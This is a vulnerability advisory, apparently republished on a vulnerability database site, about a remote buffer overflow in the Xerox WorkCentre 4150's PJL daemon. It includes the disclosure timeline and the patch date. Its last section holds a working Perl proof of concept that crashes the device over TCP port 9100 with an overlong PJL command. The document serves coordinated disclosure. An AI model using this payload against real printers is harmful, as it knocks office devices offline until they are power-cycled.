#####################################################################################
Application: Xerox Workcenter 4150 Remote Buffer Overflow
Platforms: Xerox Workcenter 4150
Discover Date: 2009-12-21
Author: Francis Provencher (Protek Research Lab's)
Blog: http://www.Protekresearchlab.com
#####################################################################################
1) Introduction
2) Report Timeline
3) Technical details
4) The Code
#####################################################################################
=================
1) Introduction
=================
The Xerox WorkCentre 4150 multifunction is the affordable transition to the next level of productivity
for your office. One easy-to-use device offers powerful printing, copying, scanning, and faxing.
#####################################################################################
====================
2) Report Timeline
====================
2009-12-22 Vendor Contacted
2009-12-22 Vendor Response
2009-12-22 Vendor request a PoC
2009-12-23 PoC is sent
2009-12-28 Vendor confirm the vulnerability
2010-01-27 Vendor release a Patch
2010-01-28 Public release of this advisory
#####################################################################################
======================
3) Technical details
======================
During a brief assessment we performed on a Xerox WorkCentre 4150 it was discovered that PJL daemon
implementation contains a weakness related to robustness of PJL protocol handling. Attacker can crash
the service with a relatively simple attack. Recovering from the denial-of-service condition requires
power cycling the device. Due to the black box nature of this Proof of concept attack, we are unable to know
if remote code execution is possible.
On the LCD screen we can see this message;
System Fault: (ubEmulationLen <= Longest_Lang_Length) && The result of strlen() is invalid
file PJL_Misc.c, line 174, task PJL
#####################################################################################
=============
4) The Code
=============
#!/usr/bin/perl -w
use IO::Socket;
if (@ARGV < 1){
exit
}
$ip = $ARGV[0];
#open the socket
my $sock = new IO::Socket::INET (
PeerAddr => $ip,
PeerPort => '9100',
Proto => 'tcp',
);
$sock or die "no socket :$!";
send($sock, "\033%-12345X\@PJL ENTER LANGUAGE = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n",0);
close $sock;
#####################################################################################
(PRL-2009-26)
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation